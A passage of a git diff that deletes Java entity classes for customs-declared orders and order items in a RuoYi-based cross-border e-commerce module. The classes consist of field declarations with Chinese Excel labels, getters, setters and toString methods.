.append("shipOrderNumber", getShipOrderNumber()) - .append("buyerRegNo", getBuyerRegNo()) - .append("buyerName", getBuyerName()) - .append("buyerTelephone", getBuyerTelephone()) - .append("buyerIdType", getBuyerIdType()) - .append("buyerIdNumber", getBuyerIdNumber()) - .append("consignee", getConsignee()) - .append("consigneeTelephone", getConsigneeTelephone()) - .append("consigneeAddress", getConsigneeAddress()) - .append("consigneeProvince", getConsigneeProvince()) - .append("consigneeCity", getConsigneeCity()) - .append("consigneeDistrict", getConsigneeDistrict()) - .append("totalAmount", getTotalAmount()) - .append("discountAmount", getDiscountAmount()) - .append("payTotalAmount", getPayTotalAmount()) - .append("taxTotalAmount", getTaxTotalAmount()) - .append("shopTaxTotalAmount", getShopTaxTotalAmount()) - .append("freightAmount", getFreightAmount()) - .append("totalGrossWeight", getTotalGrossWeight()) - .append("totalNetWeight", getTotalNetWeight()) - .append("totalQuantity", getTotalQuantity()) - .append("payName", getPayName()) - .append("payCode", getPayCode()) - .append("payTime", getPayTime()) - .append("gatewayOrderId", getGatewayOrderId()) - .append("consignor", getConsignor()) - .append("consignorAddress", getConsignorAddress()) - .append("consignorTelephone", getConsignorTelephone()) - .append("consignorCountry", getConsignorCountry()) - .append("consignorProvince", getConsignorProvince()) - .append("consignorCity", getConsignorCity()) - .append("consignorDistrict", getConsignorDistrict()) - .append("receiptAccount", getReceiptAccount()) - .append("verDept", getVerDept()) - .append("payType", getPayType()) - .append("initalRequest", getInitalRequest()) - .append("initalResponse", getInitalResponse()) - .append("remark", getRemark()) - .append("expressReturn", getExpressReturn()) - .append("process", getProcess()) - .append("addTime", getAddTime()) - .append("inventoryNo", getInventoryNo()) - .append("batchNumber", getBatchNumber()) - .append("customOrderItemList", getCustomOrderItemList()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderItem.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderItem.java deleted file mode 100644 index 5befc0d..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderItem.java +++ /dev/null @@ -1,427 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 备案订单项对象 custom_order_item - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomOrderItem extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** $column.columnComment */ - @Excel(name = "批次号") - private Long orderId; - - /** 口岸Id */ - @Excel(name = "口岸Id") - private Long declarePortId; - - /** 仓库Id */ - @Excel(name = "仓库Id") - private Long warehouseId; - - /** 商品条形码 */ - @Excel(name = "商品条形码") - private String barCode; - - /** skucode */ - @Excel(name = "skucode") - private String skuCode; - /** 数量 */ - @Excel(name = "数量") - private Integer quantity; - - /** 单价 */ - @Excel(name = "单价") - private BigDecimal price; - - /** 商城单价 */ - @Excel(name = "商城单价") - private BigDecimal shopPrice; - - /** 运费 */ - @Excel(name = "运费") - private BigDecimal freight; - - /** $column.columnComment */ - @Excel(name = "运费") - private BigDecimal taxAmount; - - /** 商品链接 */ - @Excel(name = "商品链接") - private String itemLink; - - /** 账(手)册商品序号 */ - @Excel(name = "账(手)册商品序号") - private String bookNumber; - - /** 商品货号 */ - @Excel(name = "商品货号") - private String productCode; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - /** 品牌 */ - @Excel(name = "品牌") - private String brand; - - /** 规格型号 */ - @Excel(name = "规格型号") - private String specificationModel; - - /** 商品描述 */ - @Excel(name = "商品描述") - private String description; - - /** 数量单位 */ - @Excel(name = "数量单位") - private String quantityUnit; - - /** 生产国 */ - @Excel(name = "生产国") - private String produceCountry; - - /** 检验检疫编码 */ - @Excel(name = "检验检疫编码") - private String inspectionAndQuarantineCode; - - /** HS编码 */ - @Excel(name = "HS编码") - private String hsCode; - - /** 税率 */ - @Excel(name = "税率") - private BigDecimal taxRate; - - /** 申报数量(法定数量=申报数量*购买数量) */ - @Excel(name = "申报数量", readConverterExp = "法=定数量=申报数量*购买数量") - private BigDecimal declaredCount; - - /** 法定计量单位 */ - @Excel(name = "法定计量单位") - private String legalMeteringUnit; - - /** 第二申报数量(第二数量=第二申报数量*购买数量) */ - @Excel(name = "第二申报数量", readConverterExp = "第=二数量=第二申报数量*购买数量") - private BigDecimal secondDeclaredCount; - - /** 第二计量单位 */ - @Excel(name = "第二计量单位") - private String secondMeteringUnit; - - /** 毛重 */ - @Excel(name = "毛重") - private BigDecimal grossWeight; - - /** 净重 */ - @Excel(name = "净重") - private BigDecimal netWeight; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setOrderId(Long orderId) - { - this.orderId = orderId; - } - - public Long getOrderId() - { - return orderId; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setBarCode(String barCode) - { - this.barCode = barCode; - } - - public String getBarCode() - { - return barCode; - } - public void setQuantity(Integer quantity) - { - this.quantity = quantity; - } - - public String getSkuCode() { - return skuCode; - } - - public void setSkuCode(String skuCode) { - this.skuCode = skuCode; - } - - public Integer getQuantity() - { - return quantity; - } - public void setPrice(BigDecimal price) - { - this.price = price; - } - - public BigDecimal getPrice() - { - return price; - } - public void setShopPrice(BigDecimal shopPrice) - { - this.shopPrice = shopPrice; - } - - public BigDecimal getShopPrice() - { - return shopPrice; - } - public void setFreight(BigDecimal freight) - { - this.freight = freight; - } - - public BigDecimal getFreight() - { - return freight; - } - public void setTaxAmount(BigDecimal taxAmount) - { - this.taxAmount = taxAmount; - } - - public BigDecimal getTaxAmount() - { - return taxAmount; - } - public void setItemLink(String itemLink) - { - this.itemLink = itemLink; - } - - public String getItemLink() - { - return itemLink; - } - public void setBookNumber(String bookNumber) - { - this.bookNumber = bookNumber; - } - - public String getBookNumber() - { - return bookNumber; - } - public void setProductCode(String productCode) - { - this.productCode = productCode; - } - - public String getProductCode() - { - return productCode; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setBrand(String brand) - { - this.brand = brand; - } - - public String getBrand() - { - return brand; - } - public void setSpecificationModel(String specificationModel) - { - this.specificationModel = specificationModel; - } - - public String getSpecificationModel() - { - return specificationModel; - } - public void setDescription(String description) - { - this.description = description; - } - - public String getDescription() - { - return description; - } - public void setQuantityUnit(String quantityUnit) - { - this.quantityUnit = quantityUnit; - } - - public String getQuantityUnit() - { - return quantityUnit; - } - public void setProduceCountry(String produceCountry) - { - this.produceCountry = produceCountry; - } - - public String getProduceCountry() - { - return produceCountry; - } - public void setInspectionAndQuarantineCode(String inspectionAndQuarantineCode) - { - this.inspectionAndQuarantineCode = inspectionAndQuarantineCode; - } - - public String getInspectionAndQuarantineCode() - { - return inspectionAndQuarantineCode; - } - public void setHsCode(String hsCode) - { - this.hsCode = hsCode; - } - - public String getHsCode() - { - return hsCode; - } - public void setTaxRate(BigDecimal taxRate) - { - this.taxRate = taxRate; - } - - public BigDecimal getTaxRate() - { - return taxRate; - } - public void setDeclaredCount(BigDecimal declaredCount) - { - this.declaredCount = declaredCount; - } - - public BigDecimal getDeclaredCount() - { - return declaredCount; - } - public void setLegalMeteringUnit(String legalMeteringUnit) - { - this.legalMeteringUnit = legalMeteringUnit; - } - - public String getLegalMeteringUnit() - { - return legalMeteringUnit; - } - public void setSecondDeclaredCount(BigDecimal secondDeclaredCount) - { - this.secondDeclaredCount = secondDeclaredCount; - } - - public BigDecimal getSecondDeclaredCount() - { - return secondDeclaredCount; - } - public void setSecondMeteringUnit(String secondMeteringUnit) - { - this.secondMeteringUnit = secondMeteringUnit; - } - - public String getSecondMeteringUnit() - { - return secondMeteringUnit; - } - public void setGrossWeight(BigDecimal grossWeight) - { - this.grossWeight = grossWeight; - } - - public BigDecimal getGrossWeight() - { - return grossWeight; - } - public void setNetWeight(BigDecimal netWeight) - { - this.netWeight = netWeight; - } - - public BigDecimal getNetWeight() - { - return netWeight; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("orderId", getOrderId()) - .append("declarePortId", getDeclarePortId()) - .append("warehouseId", getWarehouseId()) - .append("barCode", getBarCode()) - .append("quantity", getQuantity()) - .append("price", getPrice()) - .append("shopPrice", getShopPrice()) - .append("freight", getFreight()) - .append("taxAmount", getTaxAmount()) - .append("itemLink", getItemLink()) - .append("bookNumber", getBookNumber()) - .append("productCode", getProductCode()) - .append("name", getName()) - .append("brand", getBrand()) - .append("specificationModel", getSpecificationModel()) - .append("description", getDescription()) - .append("quantityUnit", getQuantityUnit()) - .append("produceCountry", getProduceCountry()) - .append("inspectionAndQuarantineCode", getInspectionAndQuarantineCode()) - .append("hsCode", getHsCode()) - .append("taxRate", getTaxRate()) - .append("declaredCount", getDeclaredCount()) - .append("legalMeteringUnit", getLegalMeteringUnit()) - .append("secondDeclaredCount", getSecondDeclaredCount()) - .append("secondMeteringUnit", getSecondMeteringUnit()) - .append("grossWeight", getGrossWeight()) - .append("netWeight", getNetWeight()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderItemPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderItemPlus.java deleted file mode 100644 index 6547c72..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderItemPlus.java +++ /dev/null @@ -1,402 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 备案订单项对象 custom_order_item - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_order_item") -public class CustomOrderItemPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** $column.columnComment */ - @Excel(name = "净重") - private Long orderId; - /** 口岸Id */ - @Excel(name = "口岸Id") - private Long declarePortId; - /** 仓库Id */ - @Excel(name = "仓库Id") - private Long warehouseId; - /** 商品条形码 */ - @Excel(name = "商品条形码") - private String barCode; - /** 数量 */ - @Excel(name = "数量") - private Integer quantity; - /** 单价 */ - @Excel(name = "单价") - private BigDecimal price; - /** 商城单价 */ - @Excel(name = "商城单价") - private BigDecimal shopPrice; - /** 运费 */ - @Excel(name = "运费") - private BigDecimal freight; - /** $column.columnComment */ - @Excel(name = "运费") - private BigDecimal taxAmount; - /** 商品链接 */ - @Excel(name = "商品链接") - private String itemLink; - /** 账(手)册商品序号 */ - @Excel(name = "账(手)册商品序号") - private String bookNumber; - /** 商品货号 */ - @Excel(name = "商品货号") - private String productCode; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 品牌 */ - @Excel(name = "品牌") - private String brand; - /** 规格型号 */ - @Excel(name = "规格型号") - private String specificationModel; - /** 商品描述 */ - @Excel(name = "商品描述") - private String description; - /** 数量单位 */ - @Excel(name = "数量单位") - private String quantityUnit; - /** 生产国 */ - @Excel(name = "生产国") - private String produceCountry; - /** 检验检疫编码 */ - @Excel(name = "检验检疫编码") - private String inspectionAndQuarantineCode; - /** HS编码 */ - @Excel(name = "HS编码") - private String hsCode; - /** 税率 */ - @Excel(name = "税率") - private BigDecimal taxRate; - /** 申报数量(法定数量=申报数量*购买数量) */ - @Excel(name = "申报数量", readConverterExp = "法=定数量=申报数量*购买数量") - private BigDecimal declaredCount; - /** 法定计量单位 */ - @Excel(name = "法定计量单位") - private String legalMeteringUnit; - /** 第二申报数量(第二数量=第二申报数量*购买数量) */ - @Excel(name = "第二申报数量", readConverterExp = "第=二数量=第二申报数量*购买数量") - private BigDecimal secondDeclaredCount; - /** 第二计量单位 */ - @Excel(name = "第二计量单位") - private String secondMeteringUnit; - /** 毛重 */ - @Excel(name = "毛重") - private BigDecimal grossWeight; - /** 净重 */ - @Excel(name = "净重") - private BigDecimal netWeight; - /** skucode */ - @Excel(name = "skucode") - private String skuCode; - public void setId(Long id) - { - this.id = id; - } - - public String getSkuCode() { - return skuCode; - } - - public void setSkuCode(String skuCode) { - this.skuCode = skuCode; - } - - public Long getId() - { - return id; - } - public void setOrderId(Long orderId) - { - this.orderId = orderId; - } - - public Long getOrderId() - { - return orderId; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setBarCode(String barCode) - { - this.barCode = barCode; - } - - public String getBarCode() - { - return barCode; - } - public void setQuantity(Integer quantity) - { - this.quantity = quantity; - } - - public Integer getQuantity() - { - return quantity; - } - public void setPrice(BigDecimal price) - { - this.price = price; - } - - public BigDecimal getPrice() - { - return price; - } - public void setShopPrice(BigDecimal shopPrice) - { - this.shopPrice = shopPrice; - } - - public BigDecimal getShopPrice() - { - return shopPrice; - } - public void setFreight(BigDecimal freight) - { - this.freight = freight; - } - - public BigDecimal getFreight() - { - return freight; - } - public void setTaxAmount(BigDecimal taxAmount) - { - this.taxAmount = taxAmount; - } - - public BigDecimal getTaxAmount() - { - return taxAmount; - } - public void setItemLink(String itemLink) - { - this.itemLink = itemLink; - } - - public String getItemLink() - { - return itemLink; - } - public void setBookNumber(String bookNumber) - { - this.bookNumber = bookNumber; - } - - public String getBookNumber() - { - return bookNumber; - } - public void setProductCode(String productCode) - { - this.productCode = productCode; - } - - public String getProductCode() - { - return productCode; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setBrand(String brand) - { - this.brand = brand; - } - - public String getBrand() - { - return brand; - } - public void setSpecificationModel(String specificationModel) - { - this.specificationModel = specificationModel; - } - - public String getSpecificationModel() - { - return specificationModel; - } - public void setDescription(String description) - { - this.description = description; - } - - public String getDescription() - { - return description; - } - public void setQuantityUnit(String quantityUnit) - { - this.quantityUnit = quantityUnit; - } - - public String getQuantityUnit() - { - return quantityUnit; - } - public void setProduceCountry(String produceCountry) - { - this.produceCountry = produceCountry; - } - - public String getProduceCountry() - { - return produceCountry; - } - public void setInspectionAndQuarantineCode(String inspectionAndQuarantineCode) - { - this.inspectionAndQuarantineCode = inspectionAndQuarantineCode; - } - - public String getInspectionAndQuarantineCode() - { - return inspectionAndQuarantineCode; - } - public void setHsCode(String hsCode) - { - this.hsCode = hsCode; - } - - public String getHsCode() - { - return hsCode; - } - public void setTaxRate(BigDecimal taxRate) - { - this.taxRate = taxRate; - } - - public BigDecimal getTaxRate() - { - return taxRate; - } - public void setDeclaredCount(BigDecimal declaredCount) - { - this.declaredCount = declaredCount; - } - - public BigDecimal getDeclaredCount() - { - return declaredCount; - } - public void setLegalMeteringUnit(String legalMeteringUnit) - { - this.legalMeteringUnit = legalMeteringUnit; - } - - public String getLegalMeteringUnit() - { - return legalMeteringUnit; - } - public void setSecondDeclaredCount(BigDecimal secondDeclaredCount) - { - this.secondDeclaredCount = secondDeclaredCount; - } - - public BigDecimal getSecondDeclaredCount() - { - return secondDeclaredCount; - } - public void setSecondMeteringUnit(String secondMeteringUnit) - { - this.secondMeteringUnit = secondMeteringUnit; - } - - public String getSecondMeteringUnit() - { - return secondMeteringUnit; - } - public void setGrossWeight(BigDecimal grossWeight) - { - this.grossWeight = grossWeight; - } - - public BigDecimal getGrossWeight() - { - return grossWeight; - } - public void setNetWeight(BigDecimal netWeight) - { - this.netWeight = netWeight; - } - - public BigDecimal getNetWeight() - { - return netWeight; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("orderId", getOrderId()) - .append("declarePortId", getDeclarePortId()) - .append("warehouseId", getWarehouseId()) - .append("barCode", getBarCode()) - .append("quantity", getQuantity()) - .append("price", getPrice()) - .append("shopPrice", getShopPrice()) - .append("freight", getFreight()) - .append("taxAmount", getTaxAmount()) - .append("itemLink", getItemLink()) - .append("bookNumber", getBookNumber()) - .append("productCode", getProductCode()) - .append("name", getName()) - .append("brand", getBrand()) - .append("specificationModel", getSpecificationModel()) - .append("description", getDescription()) - .append("quantityUnit", getQuantityUnit()) - .append("produceCountry", getProduceCountry()) - .append("inspectionAndQuarantineCode", getInspectionAndQuarantineCode()) - .append("hsCode", getHsCode()) - .append("taxRate", getTaxRate()) - .append("declaredCount", getDeclaredCount()) - .append("legalMeteringUnit", getLegalMeteringUnit()) - .append("secondDeclaredCount", getSecondDeclaredCount()) - .append("secondMeteringUnit", getSecondMeteringUnit()) - .append("grossWeight", getGrossWeight()) - .append("netWeight", getNetWeight()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderPlus.java deleted file mode 100644 index c4bfb6b..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomOrderPlus.java +++ /dev/null @@ -1,722 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.List; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 备案订单对象 custom_order - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_order") -public class CustomOrderPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - /** 口岸Id */ - @Excel(name = "口岸Id") - private Long declarePortId; - /** 仓库Id */ - @Excel(name = "仓库Id") - private Long warehouseId; - /** 清关方式:1、保税;2、直邮;3、个人 */ - @Excel(name = "清关方式:1、保税;2、直邮;3、个人") - private Integer mode; - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - /** 系统订单号 */ - @Excel(name = "系统订单号") - private String sOrderNo; - /** 申报订单号(商城订单号) */ - @Excel(name = "申报订单号", readConverterExp = "商=城订单号") - private String declareOrderNo; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 快递公司 */ - @Excel(name = "快递公司") - private String expressName; - /** 运单号 */ - @Excel(name = "运单号") - private String shipOrderNumber; - /** 购买人注册号 */ - @Excel(name = "购买人注册号") - private String buyerRegNo; - /** 购买人 */ - @Excel(name = "购买人") - private String buyerName; - /** 购买人电话 */ - @Excel(name = "购买人电话") - private String buyerTelephone; - /** 购买人身份证类型:1-身份证,2-其它,3-军官证,4-护照。 */ - @Excel(name = "购买人身份证类型:1-身份证,2-其它,3-军官证,4-护照。") - private Integer buyerIdType; - /** 购买人身份证 */ - @Excel(name = "购买人身份证") - private String buyerIdNumber; - /** 收件人 */ - @Excel(name = "收件人") - private String consignee; - /** 收件人电话 */ - @Excel(name = "收件人电话") - private String consigneeTelephone; - /** 收件人地址 */ - @Excel(name = "收件人地址") - private String consigneeAddress; - /** 收件人省 */ - @Excel(name = "收件人省") - private String consigneeProvince; - /** 收件人市 */ - @Excel(name = "收件人市") - private String consigneeCity; - /** 收件人区 */ - @Excel(name = "收件人区") - private String consigneeDistrict; - /** $column.columnComment */ - @Excel(name = "收件人区") - private BigDecimal totalAmount; - /** 非现金抵扣金额 */ - @Excel(name = "非现金抵扣金额") - private BigDecimal discountAmount; - /** 实际支付金额 */ - @Excel(name = "实际支付金额") - private BigDecimal payTotalAmount; - /** 税费 */ - @Excel(name = "税费") - private BigDecimal taxTotalAmount; - /** 商城税费 */ - @Excel(name = "商城税费") - private BigDecimal shopTaxTotalAmount; - /** 运费 */ - @Excel(name = "运费") - private BigDecimal freightAmount; - /** 总毛重 */ - @Excel(name = "总毛重") - private BigDecimal totalGrossWeight; - /** 总净重 */ - @Excel(name = "总净重") - private BigDecimal totalNetWeight; - /** 总数量 */ - @Excel(name = "总数量") - private Integer totalQuantity; - /** 支付公司名称 */ - @Excel(name = "支付公司名称") - private String payName; - /** 支付公司代码 */ - @Excel(name = "支付公司代码") - private String payCode; - /** 支付时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "支付时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date payTime; - /** 支付单号 */ - @Excel(name = "支付单号") - private String gatewayOrderId; - /** 发件人 */ - @Excel(name = "发件人") - private String consignor; - /** 发件人地址 */ - @Excel(name = "发件人地址") - private String consignorAddress; - /** 发件人电话 */ - @Excel(name = "发件人电话") - private String consignorTelephone; - /** 发件人所在国 */ - @Excel(name = "发件人所在国") - private String consignorCountry; - /** 发件人省 */ - @Excel(name = "发件人省") - private String consignorProvince; - /** 发件人市 */ - @Excel(name = "发件人市") - private String consignorCity; - /** $column.columnComment */ - @Excel(name = "发件人市") - private String consignorDistrict; - /** 收款账户 */ - @Excel(name = "收款账户") - private String receiptAccount; - /** 验核机构:1-银联 2-网联 3-其他 */ - @Excel(name = "验核机构:1-银联 2-网联 3-其他") - private Integer verDept; - /** 支付类型:1-APP 2-PC 3-扫码 4-其他 */ - @Excel(name = "支付类型:1-APP 2-PC 3-扫码 4-其他") - private Integer payType; - /** 支付原始请求 */ - @Excel(name = "支付原始请求") - private String initalRequest; - /** 支付原始响应 */ - @Excel(name = "支付原始响应") - private String initalResponse; - /** 备注 */ - @Excel(name = "备注") - private String remark; - /** 接口信息返回结果 */ - @Excel(name = "接口信息返回结果") - private String expressReturn; - /** 订单处理过程 */ - @Excel(name = "订单处理过程") - private String process; - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - /** 清单编号 */ - @Excel(name = "清单编号") - private String inventoryNo; - /** 批次号 */ - @Excel(name = "批次号") - private String batchNumber; - /** 备案订单项信息 */ - private List customOrderItemList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setMode(Integer mode) - { - this.mode = mode; - } - - public Integer getMode() - { - return mode; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setsOrderNo(String sOrderNo) - { - this.sOrderNo = sOrderNo; - } - - public String getsOrderNo() - { - return sOrderNo; - } - public void setDeclareOrderNo(String declareOrderNo) - { - this.declareOrderNo = declareOrderNo; - } - - public String getDeclareOrderNo() - { - return declareOrderNo; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setExpressName(String expressName) - { - this.expressName = expressName; - } - - public String getExpressName() - { - return expressName; - } - public void setShipOrderNumber(String shipOrderNumber) - { - this.shipOrderNumber = shipOrderNumber; - } - - public String getShipOrderNumber() - { - return shipOrderNumber; - } - public void setBuyerRegNo(String buyerRegNo) - { - this.buyerRegNo = buyerRegNo; - } - - public String getBuyerRegNo() - { - return buyerRegNo; - } - public void setBuyerName(String buyerName) - { - this.buyerName = buyerName; - } - - public String getBuyerName() - { - return buyerName; - } - public void setBuyerTelephone(String buyerTelephone) - { - this.buyerTelephone = buyerTelephone; - } - - public String getBuyerTelephone() - { - return buyerTelephone; - } - public void setBuyerIdType(Integer buyerIdType) - { - this.buyerIdType = buyerIdType; - } - - public Integer getBuyerIdType() - { - return buyerIdType; - } - public void setBuyerIdNumber(String buyerIdNumber) - { - this.buyerIdNumber = buyerIdNumber; - } - - public String getBuyerIdNumber() - { - return buyerIdNumber; - } - public void setConsignee(String consignee) - { - this.consignee = consignee; - } - - public String getConsignee() - { - return consignee; - } - public void setConsigneeTelephone(String consigneeTelephone) - { - this.consigneeTelephone = consigneeTelephone; - } - - public String getConsigneeTelephone() - { - return consigneeTelephone; - } - public void setConsigneeAddress(String consigneeAddress) - { - this.consigneeAddress = consigneeAddress; - } - - public String getConsigneeAddress() - { - return consigneeAddress; - } - public void setConsigneeProvince(String consigneeProvince) - { - this.consigneeProvince = consigneeProvince; - } - - public String getConsigneeProvince() - { - return consigneeProvince; - } - public void setConsigneeCity(String consigneeCity) - { - this.consigneeCity = consigneeCity; - } - - public String getConsigneeCity() - { - return consigneeCity; - } - public void setConsigneeDistrict(String consigneeDistrict) - { - this.consigneeDistrict = consigneeDistrict; - } - - public String getConsigneeDistrict() - { - return consigneeDistrict; - } - public void setTotalAmount(BigDecimal totalAmount) - { - this.totalAmount = totalAmount; - } - - public BigDecimal getTotalAmount() - { - return totalAmount; - } - public void setDiscountAmount(BigDecimal discountAmount) - { - this.discountAmount = discountAmount; - } - - public BigDecimal getDiscountAmount() - { - return discountAmount; - } - public void setPayTotalAmount(BigDecimal payTotalAmount) - { - this.payTotalAmount = payTotalAmount; - } - - public BigDecimal getPayTotalAmount() - { - return payTotalAmount; - } - public void setTaxTotalAmount(BigDecimal taxTotalAmount) - { - this.taxTotalAmount = taxTotalAmount; - } - - public BigDecimal getTaxTotalAmount() - { - return taxTotalAmount; - } - public void setShopTaxTotalAmount(BigDecimal shopTaxTotalAmount) - { - this.shopTaxTotalAmount = shopTaxTotalAmount; - } - - public BigDecimal getShopTaxTotalAmount() - { - return shopTaxTotalAmount; - } - public void setFreightAmount(BigDecimal freightAmount) - { - this.freightAmount = freightAmount; - } - - public BigDecimal getFreightAmount() - { - return freightAmount; - } - public void setTotalGrossWeight(BigDecimal totalGrossWeight) - { - this.totalGrossWeight = totalGrossWeight; - } - - public BigDecimal getTotalGrossWeight() - { - return totalGrossWeight; - } - public void setTotalNetWeight(BigDecimal totalNetWeight) - { - this.totalNetWeight = totalNetWeight; - } - - public BigDecimal getTotalNetWeight() - { - return totalNetWeight; - } - public void setTotalQuantity(Integer totalQuantity) - { - this.totalQuantity = totalQuantity; - } - - public Integer getTotalQuantity() - { - return totalQuantity; - } - public void setPayName(String payName) - { - this.payName = payName; - } - - public String getPayName() - { - return payName; - } - public void setPayCode(String payCode) - { - this.payCode = payCode; - } - - public String getPayCode() - { - return payCode; - } - public void setPayTime(Date payTime) - { - this.payTime = payTime; - } - - public Date getPayTime() - { - return payTime; - } - public void setGatewayOrderId(String gatewayOrderId) - { - this.gatewayOrderId = gatewayOrderId; - } - - public String getGatewayOrderId() - { - return gatewayOrderId; - } - public void setConsignor(String consignor) - { - this.consignor = consignor; - } - - public String getConsignor() - { - return consignor; - } - public void setConsignorAddress(String consignorAddress) - { - this.consignorAddress = consignorAddress; - } - - public String getConsignorAddress() - { - return consignorAddress; - } - public void setConsignorTelephone(String consignorTelephone) - { - this.consignorTelephone = consignorTelephone; - } - - public String getConsignorTelephone() - { - return consignorTelephone; - } - public void setConsignorCountry(String consignorCountry) - { - this.consignorCountry = consignorCountry; - } - - public String getConsignorCountry() - { - return consignorCountry; - } - public void setConsignorProvince(String consignorProvince) - { - this.consignorProvince = consignorProvince; - } - - public String getConsignorProvince() - { - return consignorProvince; - } - public void setConsignorCity(String consignorCity) - { - this.consignorCity = consignorCity; - } - - public String getConsignorCity() - { - return consignorCity; - } - public void setConsignorDistrict(String consignorDistrict) - { - this.consignorDistrict = consignorDistrict; - } - - public String getConsignorDistrict() - { - return consignorDistrict; - } - public void setReceiptAccount(String receiptAccount) - { - this.receiptAccount = receiptAccount; - } - - public String getReceiptAccount() - { - return receiptAccount; - } - public void setVerDept(Integer verDept) - { - this.verDept = verDept; - } - - public Integer getVerDept() - { - return verDept; - } - public void setPayType(Integer payType) - { - this.payType = payType; - } - - public Integer getPayType() - { - return payType; - } - public void setInitalRequest(String initalRequest) - { - this.initalRequest = initalRequest; - } - - public String getInitalRequest() - { - return initalRequest; - } - public void setInitalResponse(String initalResponse) - { - this.initalResponse = initalResponse; - } - - public String getInitalResponse() - { - return initalResponse; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - public void setExpressReturn(String expressReturn) - { - this.expressReturn = expressReturn; - } - - public String getExpressReturn() - { - return expressReturn; - } - public void setProcess(String process) - { - this.process = process; - } - - public String getProcess() - { - return process; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setInventoryNo(String inventoryNo) - { - this.inventoryNo = inventoryNo; - } - - public String getInventoryNo() - { - return inventoryNo; - } - public void setBatchNumber(String batchNumber) - { - this.batchNumber = batchNumber; - } - - public String getBatchNumber() - { - return batchNumber; - } - - public List getCustomOrderItemList() - { - return customOrderItemList; - } - - public void setCustomOrderItemList(List customOrderItemList) - { - this.customOrderItemList = customOrderItemList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("declarePortId", getDeclarePortId()) - .append("warehouseId", getWarehouseId()) - .append("mode", getMode()) - .append("userId", getUserId()) - .append("sOrderNo", getsOrderNo()) - .append("declareOrderNo", getDeclareOrderNo()) - .append("status", getStatus()) - .append("expressName", getExpressName()) - .append("shipOrderNumber", getShipOrderNumber()) - .append("buyerRegNo", getBuyerRegNo()) - .append("buyerName", getBuyerName()) - .append("buyerTelephone", getBuyerTelephone()) - .append("buyerIdType", getBuyerIdType()) - 